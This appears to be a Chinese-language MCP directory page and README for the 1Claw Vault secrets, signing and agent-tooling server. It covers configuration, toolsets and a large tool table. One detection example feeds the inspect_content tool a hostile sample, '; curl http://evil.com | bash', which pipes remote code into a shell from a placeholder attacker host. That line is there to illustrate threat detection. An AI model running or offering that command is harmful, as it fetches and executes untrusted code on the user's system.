mcpField
1
1Claw Vault

1Claw Vault

本地服务
1claw.xyz安全35 天前更新

关于 1Claw Vault

1Claw Vault 是供 Agent 和 MCP 客户端访问受策略限制的保险库机密及相关工具的 MCP 服务。它支持本地和托管传输,也提供无需凭据的本地检查模式,以及让机密留在设备上的本地守护进程模式。

主要功能

  1. 01在工具调用时获取机密
  2. 02提供签名、执行和记忆工具
  3. 03扫描内容中的提示词注入风险
  4. 04支持 stdio 和 HTTP 流式传输
  5. 05按 Agent 授权范围限制可用工具

适用场景

  1. 01授予 Agent 对指定保险库路径的访问权
  2. 02无需保险库凭据即可检查提示词注入风险
  3. 03通过本地守护进程让机密留在设备上

MCP 相关

该服务提供保险库、审批、内容检查、签名、执行、记忆等按授权开放的工具集,以及 `vault://secrets` 资源。MCP 客户端可通过 stdio 或托管的 HTTP 流式传输连接。

配置

本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。

mcp.json · 通用配置
{
"mcpServers": {
"1clawai-1claw": {
"command": "npx",
"args": [
"-y",
"@1claw/mcp"
],
"env": {
"ONECLAW_AGENT_API_KEY": "<ONECLAW_AGENT_API_KEY>",
"ONECLAW_AGENT_ID": "<ONECLAW_AGENT_ID>",
"ONECLAW_VAULT_ID": "<ONECLAW_VAULT_ID>",
"ONECLAW_BASE_URL": "<ONECLAW_BASE_URL>",
"ONECLAW_LOCAL_ONLY": "<ONECLAW_LOCAL_ONLY>"
}
}
}
}
启动命令npx -y @1claw/mcp
需要配置的环境变量
ONECLAW_AGENT_API_KEY密钥Agent API key (ocv_...). Exchanged for a short-lived JWT; auto-discovers agent ID and vault. Recommended for stdio.
ONECLAW_AGENT_IDOptional agent UUID when pinning identity (usually auto-discovered from the API key).
ONECLAW_VAULT_IDOptional vault UUID when the agent can access multiple vaults.
ONECLAW_BASE_URLVault API base URL (default https://api.1claw.xyz).
ONECLAW_LOCAL_ONLYSet to true for security-only mode (inspect_content only; no vault credentials).

本地服务需要在你的电脑上安装运行环境(如 Node.js 18+)。各客户端的配置文件位置不同,请参考客户端文档。

安装包
npm@1claw/mcp0.56.3

工具

还没有获取到工具列表

本地服务需要在你的电脑上运行后才能读取工具,维护者暂未提供工具列表。

详细介绍

@1claw/mcp

⭐ 为 1clawAI/agent-templates 点星——这些开箱即用的 Agent 模板已接入 1Claw。这是我们唯一加星的仓库。

将 Cursor、Claude Desktop、VS Code 或任何 MCP 客户端连接到你的 1claw 保管库。此服务提供用于管理机密、签名、执行绑定、记忆、自动化等的工具。系统会在调用时获取值;使用后,这些值不会继续缓存在模型上下文中。

大多数团队会使用此服务,而不是将 API 密钥复制到 Agent 提示词或 MCP 配置文件中。你可以注册一个 Agent,授予其对特定机密路径的策略访问权限,然后让客户端连接到 mcp.1claw.co 或本地 stdio 进程。此服务通过一个 ocv_ 密钥处理 JWT 交换和刷新。

仅本地模式: 无需保管库凭据即可运行,但只能使用安全检查工具(例如 inspect_content)。如果你使用 Ollama 或 LM Studio,且希望在没有 1claw 账户的情况下检测提示注入,此模式非常实用。

本地守护进程模式: 指向本地 1claw 守护进程(ONECLAW_LOCAL_VAULT=true),这样机密就不会离开你的设备。守护进程会将凭据注入发出的 HTTP 请求;模型不会看到原始值。

API 契约: 保管库工具使用 @1claw/openapi-spec 中的 REST API。通过 Shroud 传输的大模型流量是独立的:Agent 会携带 X-Shroud-Agent-Key 和 X-Shroud-Provider(必填,例如 openai)调用 https://shroud.1claw.co。MCP 服务将 Agent API 密钥交换为 JWT 时,该令牌可能包含供 Shroud PolicyEngine 使用的 shroud_config;MCP 本身不会代理大模型请求。

传输模式

服务支持两种传输模式:

模式用例身份验证
stdio(默认)本地 — Claude Desktop、Cursor环境变量:ONECLAW_AGENT_API_KEY(推荐;自动发现 Agent 和保险库),或 ONECLAW_AGENT_ID + 密钥;或 ONECLAW_AGENT_TOKEN + ONECLAW_VAULT_ID
httpStream托管于 mcp.1claw.co每个请求的标头:Authorization: Bearer <token>、X-Vault-ID

设置 MCP_TRANSPORT=httpStream 和 PORT=8080,即可在托管模式下运行。

stdio 和环境变量: 服务不会为整个进程缓存单个保险库客户端。每次工具调用都会根据当前的 process.env(ONECLAW_AGENT_API_KEY、ONECLAW_VAULT_ID 等)构建一个 OneClawClient,因此更改环境变量(或保险库绑定)后,无需重启 MCP 进程,下一次调用就会生效。

Agent 环境自动解析(v0.52): 当 Agent 带有 environment 标签且 env_auto_resolve: true 时,resolve_env 工具可以省略 environment,Vault API 会使用 JWT 中的 Agent 标签。组织设置 env.enforce_agent_environment_scope 会阻止 Agent 解析其标签环境之外的变量。

策略引擎 v0.53: 访问策略支持使用基于表达式的 tx_conditions.expression(迷你 DSL)的 policy_schema_version: 2、扩展后的控制平面 action_kind_in 共识触发条件,以及用于签名时策略评估的多链深度解码(Solana、Bitcoin、Tron)。TEE 证明可通过 GET https://shroud.1claw.co/v1/shroud/attestation 获取(返回 attestation_level:none | identity | confidential | sev_snp,以及 confidential_claims);审计链验证可通过 GET /v1/audit/verify 获取。

分级 HITL(v0.54–0.55): Agent 护栏字段包括 tx_approval_policy(分级交易阈值 → 202 awaiting_approval)、typed_data_policy、simulation_failure_policy 和 raw_signing_policy(deny 或通过 approve 转至 HITL)。v0.55 扩展字段:tx_block_unlimited_approvals、按接收方设置的限额、USD 上限、allow_erc4337、allow_eip7702。人类可通过控制面板或 API 批准;可通过 POST /v1/org/freeze 冻结组织。

护栏治理与 Safe(v0.56–0.57): Convention 6 执行影子/强制模式;影子报告、修订、重放;地址筛查;护栏放宽审批(202);Agent Safe 账户和模块注册表 MCP 工具(list_agent_accounts、migrate_agent_to_safe、get_guardrail_shadow_report 等)。请参阅软件包 README 工具表。

安装(本地 / stdio)

Homebrew(macOS / Linux)
brew install 1clawAI/tap/1claw-mcp
从源代码安装
cd packages/mcp
pnpm install
pnpm run build

环境变量

变量必填默认值描述
ONECLAW_AGENT_API_KEYstdio*—推荐。 Agent API 密钥(ocv_...)。服务会用它换取 JWT,自动发现 Agent ID 和保管库,并自动刷新令牌。
ONECLAW_LOCAL_ONLY否false设置为 true 可启用仅安全模式(无需保管库凭据)。
ONECLAW_LOCAL_VAULT否false设置为 true 可使用本地守护进程,而非云端 API。
ONECLAW_DAEMON_SOCKET否~/.config/1claw/daemon.sock本地守护进程 Unix 套接字的路径(仅限本地守护进程模式)。
ONECLAW_AGENT_ID否—Agent UUID。使用 ONECLAW_AGENT_API_KEY 时为可选项(会从密钥中自动发现)。
ONECLAW_AGENT_TOKENstdio*—旧版。 静态 Bearer JWT(约 1 小时后过期,不会自动刷新)。
ONECLAW_VAULT_ID否—保管库的 UUID。使用 ONECLAW_AGENT_API_KEY 时会自动发现。
ONECLAW_DPOP否false设置为 true 可启用 DPoP(RFC 9449)持有证明。将 Agent 令牌绑定到 MCP 客户端临时生成的 P-256 密钥对,使被盗令牌在没有匹配的私钥时无法使用。
ONECLAW_BASE_URL否https://api.1claw.co保管库 API 基础 URL。使用 intents_require_tee / execution_require_tee 的 Agent 无需在此设置特殊值:保管库会自行将其意图转发给 Shroud(vault ≥ 0.61.19)。仅在使用 DPoP 绑定令牌,或自托管部署将签名路由到 Shroud 时,才将其设置为 Shroud(https://shroud.1claw.co)。
ONECLAW_MCP_TOOLSETS否entitlement defaults要公开的工具集逗号分隔列表(或 all)。可缩小范围或选择启用,但不会超出 Agent 的授权范围。请参阅 工具集。托管服务:改为发送 X-1Claw-Toolsets。
MCP_TRANSPORT否stdio传输模式:stdio 或 httpStream。
PORT否8080HTTP 端口(仅限 httpStream 模式)。

* 对于 stdio,设置 ONECLAW_AGENT_API_KEY(推荐——会自动发现 Agent ID 和保管库,并处理令牌刷新)。也可以设置 ONECLAW_AGENT_TOKEN + ONECLAW_VAULT_ID,使用静态 JWT 身份验证。若 ONECLAW_LOCAL_ONLY=true 或 ONECLAW_LOCAL_VAULT=true,则无需设置。

工具

该服务附带 160 个工具(本地守护进程模式下增加 proxy_request),但每个会话只会看到其有权使用的工具集——仅有保管库权限的 Agent 可使用约 24 个工具,而非 160 个。inspect_content 在 ONECLAW_LOCAL_ONLY=true 模式下也能运行,无需保管库凭据。此外还包含 vault://secrets 资源。

拆分包

同一代码库还会同步发布两个范围更窄的构建版本,供 stdio 部署使用,确保磁盘上的代码符合其声明:

包包含内容声明
@1claw/mcp-vaultvault + approvals 工具集、inspect_content、vault://secrets(24 个工具)包中不含签名、执行、卡片、记忆、平台或管理代码
@1claw/mcp-guard仅 inspect_content包中不含账户、凭据或保管库客户端

环境变量和行为相同;请参阅 packages/vault/README.md 和 packages/guard/README.md。位于 mcp.1claw.co 的托管服务始终提供完整版本。

工具集

每个工具都属于一个工具集(src/toolsets.ts)。会话获得哪些工具集,取决于 Agent 自身的标志:在准入时确定一次,并每 15 分钟重新检查一次;从 vault 收到任何 403 后也会重新检查(此时托管会话会收到 notifications/tools/list_changed)。

工具集启用条件工具
inspect始终inspect_content
vault任意 Agent密钥、版本、轮换、环境包、vault、共享、已连接的账户、子 Agent(约 19 个)
approvals任意 Agentrequest_approval、get_approval_status、get_approval、list_approvals、cancel_approval、list_pending_approvals
intentsintents_api_enabled签名、模拟、提交、签名密钥、投资组合、Safe 账户、Bankr 租约(约 18 个)
executeexecution_intents_enabled绑定、execute_http、execute_intent、执行、连接器、事件订阅(8 个)
cardscards_enabled卡片和礼品卡(5 个)
memorymemory_enabled记忆 + get_peer_context(6 个)
channelsshroud_enabledTelegram / WhatsApp / Discord 频道(3 个)
directorydiscoverableAgent 目录 + 工作公告板(4 个)
treasury、delegation、chat、automations、runtimes、notification仅限主动选择vault 没有针对这些工具集的逐 Agent 标志;请明确申请
adminAgent 永不启用仅供人工使用的端点(策略、子组织、审批投票、Safe 迁移等)——只有通过 stdio 使用用户 JWT 才能看到
platform永不启用plt_ 端点;服务会拒绝平台密钥

显式选择工具集。 设置 ONECLAW_MCP_TOOLSETS(stdio),或在托管环境中发送 X-1Claw-Toolsets,并提供逗号分隔的列表,例如 vault,intents,automations,或 all。选择可以缩小默认范围,或启用可选工具集;但绝不会添加 Agent 无权使用的工具集,而且 all 仍会排除 admin 和 platform。inspect 始终包含在内。

设置了 execution_require_tee 时,vault 会拒绝在 TEE 外向该 Agent 提供密钥的值,因此 get_secret、get_env_bundle 和 resolve_env 会被隐藏;put_secret、rotate_*、describe_secret、list_secrets 和 list_versions 仍会保留。

查找降级。 服务会为每个会话记录一行日志:toolsets=… lookup=full|jwt_only|failed。jwt_only 表示无法读取 Agent 配置,因此只采用签名 JWT 中携带的标志(intents、execute、shroud)——在下次刷新之前会禁用 cards、memory 和 directory。failed 表示连令牌都未能获取;会话会回退到 Agent 默认设置。这两种状态都不会扩大工具集范围。

stdio。 工具集会在进程启动时固定;更改 Agent 标志后,请重启 MCP 服务。

ToolDescription
list_secrets列出所有密钥(仅元数据,绝不返回密钥值)
get_secret按路径获取密钥的解密值。MPC 保管库可选接受 client_share。
put_secret创建或更新密钥(会创建新版本)。启用 MPC 的保管库会在响应中包含 client_share。
delete_secret软删除指定路径下的密钥
describe_secret获取元数据,不获取密钥值
rotate_and_store为现有密钥存储新值并返回版本号
rotate_generate在服务端轮换密钥并生成新值(可配置长度和字符集)
list_versions列出密钥的所有版本(版本号、日期、禁用状态)
get_env_bundle获取 env_bundle 密钥并将其解析为 KEY=VALUE JSON
list_child_agents列出父级下的子 Agent(拥有自己的密钥、记忆和策略,访问权限是父级权限的子集;保管库版本需 ≥ 0.61.30)
resolve_env解析保管库和环境的环境变量(应用优先级后返回最终的 KEY=VALUE 集合)。当 Agent 的 env_auto_resolve: true 时,请省略 environment,服务端会使用 JWT 中标记的 Agent 环境。
create_vault创建新保管库(自动与 Agent 的人类创建者共享)
list_vaults列出 Agent 可访问的所有保管库(自己的和共享的)
grant_access与用户或 Agent 共享保管库(仅限自己的保管库)
share_secret与创建者、指定 ID 的用户或 Agent 共享密钥,或创建公开链接
simulate_transaction通过 Tenderly 模拟交易,不签名或广播
simulate_bundle模拟一组有序交易(Tenderly bundle),不签名或广播
submit_transaction提交交易意图以供签名,并可选择广播(EVM 和 Bitcoin、Solana、XRP、Cardano、Tron)。自动生成 Idempotency-Key 标头以防止重放。支持 xrpl_tx_json,可处理 30 多种 XRPL 交易类型(Payment、TrustSet、NFTokenMint、AMMCreate、EscrowCreate 等)。
sign_transaction仅签名(不广播)。EVM 返回 signed_tx 十六进制值;非 EVM 返回特定于链的已签名载荷。支持使用 xrpl_tx_json 签署任意 XRPL 交易。
list_transactions列出该 Agent 的交易意图。
get_transaction按 ID 获取一笔交易(可选 include_signed_tx)。
provision_signing_key为 Agent 生成多链签名密钥。返回公钥、地址和元数据。私钥安全地存储在保管库中。
list_signing_keys列出 Agent 在所有链上的全部签名密钥。
get_signing_key_balance获取 Agent 某条链上签名密钥的原生资产余额和可选的代币余额。
import_signing_key将现有私钥导入为签名密钥(仅限人类用户,需通过升级验证)。
sign_message使用 EIP-191 personal_sign 对消息签名。返回签名和签名者地址。
sign_typed_data对 EIP-712 类型化结构化数据签名。返回签名、类型化数据哈希和签名者地址。
sign_digest直接对客户端计算的 32 字节摘要进行签名(原始/盲签),用于 ERC-1271/ERC-7739 嵌套 EIP-712 流程(例如 Polymarket)。需要启用 raw_signing_enabled;操作会记录在审计日志中。
platform_list_apps列出调用方组织中的所有平台应用。
platform_create_app注册新的平台应用(返回 plt_ API 密钥)。仅限用户。
platform_bootstrap_user根据模板为已连接用户初始化资源(保管库、Agent、策略)。
platform_reissue_claim为已完成初始化的连接重新签发认领 URL,无需重新配置资源。
platform_rotate_key轮换平台应用的 API 密钥。返回新的 plt_ 密钥(仅限使用一次)。
platform_list_templates列出平台应用的初始化模板。
platform_get_fleet获取模板的 Fleet 概览:群组规模、版本差异和偏移情况。只读。
platform_list_fleet_agents列出 Fleet 中的 Agent,以及各 Agent 初始化时使用的版本。只读。
platform_plan_fleet_rollout规划发布。始终进行试运行——此工具会自动启用试运行。

通过 MCP 只读访问 Fleet 是有意为之。 API 和 SDK 中有 bulk-patch 和 pause,但这里没有对应的工具:一次 Fleet 写入会更改由同一个模板配置的所有 Agent——一次调用就能影响一千个 Agent,且没有逐个审查——这类决策应由人类在终端中作出,或通过有意发起的 SDK 调用来执行。platform_plan_fleet_rollout 会自行设置 dry_run,且不将其作为参数提供,因为如果工具的安全性取决于模型选择的值,它就不是安全的工具。 | platform_create_template | 创建引导模板(保险库、Agent、策略、签名密钥)。 | | platform_list_users | 列出已连接到平台应用的用户(状态、资源、认领状态)。 | | platform_grant_access | 授予平台应用访问已连接用户的保险库/Agent 的权限。 | | platform_list_grants | 列出平台连接的有效资源授权。 | | platform_siwe_challenge | 为钱包原生的平台用户配置签发 SIWE nonce(plt_)。 | | platform_get_connection | 获取连接详情:状态、认领状态、权益、钱包地址。 | | platform_connection_usage | 当前 UTC 月度的单个连接的大模型推理支出。 | | platform_list_entitlements | 列出连接的链上权益评估结果。 | | platform_preview_template | 对模板规范进行试运行,并替换 {{params.*}} / {{subject.*}}。 | | platform_transfer_ownership | 将平台应用转移到另一个组织(加强身份验证)。 | | platform_delete_app | 软删除平台应用并释放其 slug。 | | platform_get_spend_policy | 按 ID 获取平台应用的支出策略。 | | platform_get_connection_spend_policy | 获取连接的有效支出策略。 | | platform_list_connection_approvals | 列出平台连接的人类审批记录。 | | platform_get_connection_approval | 获取平台连接的一条审批记录。 | | platform_list_connection_pending_approvals | 列出连接的待处理审批(包括 payload hash)。 | | platform_get_template | 按 ID 获取引导模板。 | | platform_set_connection_spend_policy | 设置或替换连接的支出策略(plt_ 身份验证)。 | | platform_create_connection_runtime | 为连接的 Agent 创建 Cloud Runtime。 | | platform_get_connection_runtime | 按 ID 获取连接范围内的 Runtime。 | | platform_connection_passkey_enroll_begin | 开始为已连接用户注册 WebAuthn 通行密钥。 | | platform_connection_passkey_enroll_complete | 完成已连接终端用户的通行密钥注册(plt_ 身份验证)。 | | platform_connection_agent_chat | 与平台连接上的 Agent 聊天。 | | platform_list_connection_signing_keys | 列出连接上的 Agent 签名密钥(仅公开元数据;agent_id 可选)。 | | platform_get_connection_signing_key | 获取连接上 Agent 在某条链上的签名密钥。 | | platform_patch_connection_agent | 在连接上的 Agent 启用 Intents/Execution Intents 或更新 system_prompt。 | | platform_decide_connection_pending_approval | 对共识待处理审批进行表决(必须提供 payload_hash)。 | | platform_decide_connection_approval | 为连接用户处理一项移动端审批。 | | platform_deactivate_connection_signing_key | 停用连接上 Agent 的签名密钥。 | | platform_marketplace | 列出公开平台市场上的应用。可按类别、标签或搜索词浏览。无需身份验证。 | | platform_app_stats | 获取平台应用的使用统计信息——已连接用户、引导次数、API 请求量。 | | platform_rotate_webhook_secret | 轮换平台应用的 webhook 密钥。新密钥用于投递内容的 HMAC-SHA256 签名。 | | oauth_revoke_token | 撤销由 1Claw 签发的 OAuth 访问令牌或刷新令牌(RFC 7009)。 | | oauth_revoke_consent | 撤销之前授予平台应用的 OAuth 同意,使其所有令牌失效。 | | treasury_propose | 创建金库多签提案(供 Safe 签名者审批的交易意图)。 | | treasury_sign_proposal | 对金库提案签名或拒绝。提交 EIP-712 签名;达到阈值后自动执行。 | | treasury_list_proposals | 列出金库的提案,可按状态筛选(待处理、已批准、已执行、已拒绝、已过期)。 | | request_approval | 为策略变更或敏感操作请求人类审批。为 Agent 的人类操作员创建待处理审批。 | | list_approvals | 列出审批请求,可按状态筛选(待处理、已批准、已拒绝)。 | | cancel_approval | 撤回此 Agent 创建的待处理审批;以先提交的答复为准(vault ≥ 0.61.29)。 | | get_approval | 获取特定审批请求的当前状态。适用于等待审批时轮询的 Agent。 | | get_approval_status | 面向 Agent 的轻量级审批轮询(仅返回状态和 expires_at)。 | | lease_bankr_key | 特权操作——受 agents/{id}/bankr/* 策略控制。配置范围受限的 bk_usr_ 密钥(为 Shroud 保存;不会在工具输出中返回)。建议 TTL 为 300–900 s。Vault 必须配置 BANKR_PARTNER_KEY。 | | spend_from_passkey_safe | 从人类拥有通行密钥的 Safe(custody: passkey_owner)中支出,须遵守所有者为此 Agent 签署的链上 Allowance Module 授权——参数为 safe_id、to、amount(基本单位)和可选的 token。模块会强制执行上限;护栏和制裁筛查会先运行。计为一次签名。 | | execute_http | 通过预配置的绑定执行 HTTP 请求。凭据由服务器端注入,绝不会暴露给 Agent。要求 Agent 启用 execution_intents_enabled。 | | execute_intent | 通过命名绑定执行通用意图(HTTP、GraphQL 等)。 | | create_binding | 为 Agent 创建绑定(凭据句柄)。支持内联凭据或 vault_ref(指向现有保险库密钥的实时引用,在执行时解析)。仅限人类操作。 | | list_bindings | 列出为 Agent 配置的所有绑定。返回绑定名称、类型和配置(不含凭据)。 | | test_binding | 测试绑定的连通性。 | | list_executions | 列出 Agent 最近的执行事件。 | | list_installed_connectors | 列出 Agent 上已安装的连接器,以及每个连接器的登录状态。 | | list_connector_presets | 连接器目录(gmail、slack、stripe、hubspot、……),包含每个预设的 event_sources。 | | list_event_subscriptions | 列出 Agent 已订阅的轮询式连接器事件源;新条目会作为自动化事件到达(vault ≥ 0.61.32)。 | | order_card | 通过 x402 订购预付卡。要求 Agent 启用 cards_enabled,并且在 Base 上有已注资的 USDC 签名密钥。返回经过屏蔽的卡片引用(绝不返回 PAN)。 | | order_gift_card | 通过 x402 订购礼品卡。可选传入 laso_server_id 以选择品牌。 | | search_gift_cards | 搜索可用的礼品卡品牌/服务端(按搜索词或国家/地区)。 | | list_cards | 列出 Agent 的所有支付卡(经过屏蔽——仅显示末 4 位)。 | | get_card_status | 按 ID 获取卡片的当前状态和元数据。 | | put_memory | 在 Agent 记忆中存储值(命名空间/键)。支持为临时条目设置 TTL。 | | get_memory | 按命名空间和键读取 Agent 记忆中的值。 | | list_memory | 列出记忆命名空间或某个命名空间中的条目。 | | delete_memory | 按命名空间和键删除记忆条目。 | | search_memory | 使用语义相似度(向量搜索)搜索 Agent 记忆。 | | list_automations | 列出 Agent 的自动化工作流。 | | list_automation_presets | 列出可用的自动化预设及其预构建工作流模板。 | | trigger_automation | 手动触发自动化工作流。 | | create_agent_automation | 为调用方 Agent 创建简单的自动化(手动触发或 webhook 触发)。 | | cancel_automation_run | 取消正在运行或处于 awaiting_approval 状态的自动化运行。 | | list_runtimes | 列出 Agent 的云 Runtime。 | | manage_runtime | 启动或停止云 Runtime。 | | runtime_status | 获取 Runtime 的当前状态和资源使用情况。 | | runtime_logs | 获取 Runtime 容器的近期日志。 | | send_chat_message | 通过 Shroud LLM 向 Agent 发送聊天消息(可选对话 ID)。 | | list_chat_conversations | 列出 Agent 的聊天对话。 | | create_channel | 为 Agent 注册 Telegram、WhatsApp 或 Discord 频道。 | | list_channels | 列出 Agent 的消息频道。 | | send_channel_message | 通过已注册频道发送外发消息。 | | list_oauth_providers | 列出可用的 OAuth 提供商(Google、GitHub、Slack 等)。 | | list_oauth_connections | 列出 Agent 的 OAuth 已连接账户。 | | org_directory | 列出组织中的 Agent,以发现子 Agent(能力、标签)。 | | delegate_task | 通过聊天将任务发送给另一个 Agent(同组织委派)。 | | search_agent_directory | 在公开 Agent 目录中搜索可发现的 Agent。 | | list_delegations | 列出当前 Agent 或指定 Agent 的 Agent 间委派。 | | create_delegation | 创建从一个 Agent 到另一个 Agent 的委派(仅限人类操作)。配置允许使用的工具、每日限制、深度和模式。 | | get_effective_delegations | 获取当前 Agent 的有效委派——Runtime 工具用其发现子 Agent。 | | list_cedar_policies | 列出组织的 Cedar 声明式策略(Team+ 套餐)。 | | test_cedar_policy | 对主体/操作/资源试运行 Cedar 策略。 | | list_opa_policies | 列出组织的 OPA Rego 策略(Business+ 套餐)。 | | test_opa_policy | 试运行 OPA 策略评估。 | | list_sub_orgs | 列出父组织的子组织(Enterprise 层级)。 | | create_sub_org | 创建子组织(仅限人类操作)。 | | get_portfolio | 汇总金库钱包、签名密钥和智能账户余额。 | | import_smart_account | 为 Agent 导入现有的 Gnosis Safe 智能账户。 | | get_policy_backend_settings | 获取组织的 Cedar/OPA 后端配置(后端、模式、范围、断路器)。 | | update_policy_backend_settings | 更新组织策略后端设置(影子/强制执行、故障时关闭断路器)。 | | get_shadow_report | 获取影子模式偏差报告(内置与 Cedar/OPA 的决策)。 | | list_contract_abis | 列出组织的合约 ABI,用于交易解码。 | | upload_contract_abi | 将合约 ABI 上传到组织注册表(启用解码后的交易策略评估)。 | | list_pending_approvals | 列出组织的共识待处理审批。 | | approve_pending_approval | 批准或拒绝待处理审批(支持 credential_type:passkey、totp、biometric、password、api_key)。 | | execute_pending_approval | 执行已批准的待处理审批操作。 | | list_agent_accounts | 按链列出 Agent 的链上账户(EOA 和 Safe),包括部署状态和模块。 | | migrate_agent_to_safe | 构建 EOA→Safe 迁移计划并配置反事实 Safe(仅限人类操作)。 | | deprecate_agent_eoa | 将 Agent 在某条链上的 EOA 标记为已弃用(仅限人类操作)。 | | get_safe_module_registry | 列出某条链固定的 Safe 模块地址(公开,无需身份验证)。 | | sync_org_safe_allowances | 根据 Agent 护栏协调组织 Safe 授权配置(所有者/管理员)。 | | get_guardrail_shadow_report | 约定 6 护栏影子违规(guardrail_shadow.would_deny 审计事件)。 | | list_guardrail_revisions | Agent 和绑定护栏变更的审计记录。 | | replay_agent_guardrails | 针对 Agent 最近的交易试运行草拟的护栏。 | | request_secret | 向人类请求 Agent 缺少的凭据;该值会从仪表板字段直接写入保险库,Agent 只会获知路径。 | | check_secret_request | 查询 request_secret 是否已完成、被拒绝或过期;完成后可获取保险库及供 get_secret 读取的路径。仅限本人请求。 | | get_peer_context | 获取过往交互反映的、有关该 Agent 所服务对象的信息(例如此人如何处理类似请求)。未关联人员时为空。 | | list_directory_jobs | 列出 1Claw 目录公告板上的未结任务;服务器标记的第三方文本会标注为 UNTRUSTED。 | | get_directory_job | 按 id 获取一项目录任务。 | | submit_directory_job_bid | 竞标目录任务(仅限可发现的 Agent);再次竞标会替换之前的竞标。 | | list_notification_targets | 列出此账户接收审批和通知的渠道(SMS、webhook、电子邮件、推送)。只读。 | | runtime_env | 列出 Runtime 启动时使用的每个环境变量、其来源,以及名称冲突时的优先项。 | | platform_create_connection_pending_approval | 为连接上的 Agent 提交共识待处理审批(plt_ 身份验证)。 | | platform_delete_connection_runtime | 删除应用在连接上配置的 Runtime(plt_ 身份验证)。 | | platform_get_connection_portfolio | 获取连接上各 Agent 的余额(plt_ 身份验证)。 | | platform_list_connection_automations | 列出连接上各 Agent 的自动化(plt_ 身份验证)。 | | platform_get_connection_otel_summary | 获取连接上各 Agent 的安全态势评分、未解决威胁和待处理审批(plt_ 身份验证)。 | | platform_get_connection_otel_threats | 列出连接上各 Agent 的威胁,按最高爆炸半径优先排序(plt_ 身份验证)。 | | platform_get_connection_otel_topology | 列出连接上各 Agent 可访问的 Agent、策略、保险库、链和系统(plt_ 身份验证)。 | | inspect_content | 分析任意文本,检测提示词注入、命令注入、社会工程、PII、编码技巧等。无需保险库凭据即可使用。 | | proxy_request | 仅限本地守护进程模式。 使用守护进程注入的密钥发起 HTTP 请求。模型指定密钥名称和目标 URL——密钥值绝不会进入上下文窗口。 | 凭证来源绑定:create_binding 工具接受可选参数 credential_source,支持两种模式:

  • { "type": "inline", "value": { "token": "..." } } — 凭证存储在 __agent-keys 中(默认行为,与使用 credential 相同)。
  • { "type": "vault_ref", "vault_id": "<uuid>", "path": "secrets/api-key" } — 指向现有保险库机密的实时引用。凭证在执行时解析,并始终使用最新版本。适用于独立轮换或由多个绑定共享的机密。

Treasury 钱包(POST /v1/treasury/wallets/generate、GET .../wallets 等)是仅限人工使用的端点,不会作为 MCP 工具公开。Agent 无法生成或管理 Treasury 钱包。人工用户通过仪表板、CLI(1claw treasury)或 SDK(client.treasuryWallets)管理 Treasury 钱包。

自托管密钥(custody 为 client_tss 的密钥,采用 2-of-3 FROST;Tron 多签;EVM 多签 Safe)只能由其所有者在仪表板中使用通行密钥创建、备份、刷新和恢复(/v1/keys/tss/*、/v1/treasury/multisig*),因此没有对应的 MCP 工具。list_signing_keys 会显示密钥的 custody。Agent 只能在所有者提供了密钥份额的 1Claw 运行时内为 client_tss 密钥联合签名;如果保险库拒绝为此类密钥进行服务器端签名,submit_transaction 和签名工具会返回相应说明。

审批。 当保险库返回 202(表示需要人工介入审批或通过多方共识门控)时,submit_transaction、sign_transaction、sign_message、sign_typed_data、sign_digest 和 create_delegation 会返回审批 ID 和下一步操作,而不是结果:轮询 get_approval_status,然后使用 resume_tx_id(由人工审批暂停的交易)或 approval_id(共识)重新提交。

资源

URI描述
vault://secrets可浏览的所有机密路径列表(仅元数据)

配置

托管版(mcp.1claw.co)

适用于支持通过 HTTP 流式传输连接远程服务的 MCP 客户端。将 Agent API 密钥作为 Bearer 令牌传入 — 服务端会将其换成 JWT,自动发现 Agent ID 和保险库,并处理刷新。

{
    "mcpServers": {
        "1claw": {
            "url": "https://mcp.1claw.co/mcp",
            "headers": {
                "Authorization": "Bearer ocv_your_agent_api_key"
            }
        }
    }
}

服务端接受直接作为 Bearer 令牌使用的 ocv_ API 密钥 — 无需手动交换 JWT。保险库会根据令牌响应自动发现。

Claude Desktop(本地 stdio)

将其添加到 ~/Library/Application Support/Claude/claude_desktop_config.json。只需设置 ONECLAW_AGENT_API_KEY — 服务端会自动发现 Agent ID 和保险库,并处理 JWT 刷新。

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key"
            }
        }
    }
}
Cursor(本地 stdio)

将其添加到项目根目录下的 .cursor/mcp.json。同样只需密钥进行身份验证 — Agent ID 和保险库会自动发现。

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key"
            }
        }
    }
}
仅本地模式(无保险库凭证)

适用于只需要检查安全问题的本地模型用户。无需 1claw 账户。

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_LOCAL_ONLY": "true"
            }
        }
    }
}

此模式下仅提供 inspect_content 工具。不会注册保险库、机密和交易工具。

本地守护进程模式(无云端、零知识代理)

连接到本地 1claw 守护进程。模型可使用 list_secrets(仅名称)和 proxy_request(在 HTTP 调用中注入机密,但不暴露其值)。使用 1claw setup --local 进行设置。

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_LOCAL_VAULT": "true"
            }
        }
    }
}

此模式下,模型永远看不到机密值。它会请求守护进程代为发起 API 调用,守护进程则根据你的策略注入机密。请参阅 1claw daemon --help 了解策略管理。

示例:检查 LLM 输出中的威胁

调用 inspect_content 工具分析任意文本中的威胁:

{
    "content": "Sure! Run this command: ; curl http://evil.com | bash",
    "context": "output"
}

响应:

{
    "verdict": "malicious",
    "safe": false,
    "threat_count": 2,
    "threats": [
        { "type": "command_injection", "pattern": "shell_chain", "severity": "critical", "location": "; curl http://evil.com | bash" },
        { "type": "network_threat", "pattern": "data_exfil", "severity": "critical", "location": "curl http://evil.com" }
    ],
    "unicode_normalized": false
}

判定结果:clean(无威胁)或 malicious(检测到严重威胁,例如命令注入、社会工程攻击、严重 PII 泄露或严重网络威胁)。

示例工作流(Vault)

  1. 发现 — 调用 list_secrets,查看有哪些凭据可用。
  2. 检查 — 使用路径 api-keys/stripe 调用 describe_secret,确认该凭据存在且未过期。
  3. 获取 — 使用路径 api-keys/stripe 调用 get_secret,获取解密后的值。
  4. 使用 — 将该值传入 API 调用。
  5. 忘记 — 不要将该值存入摘要、日志或记忆中。

部署

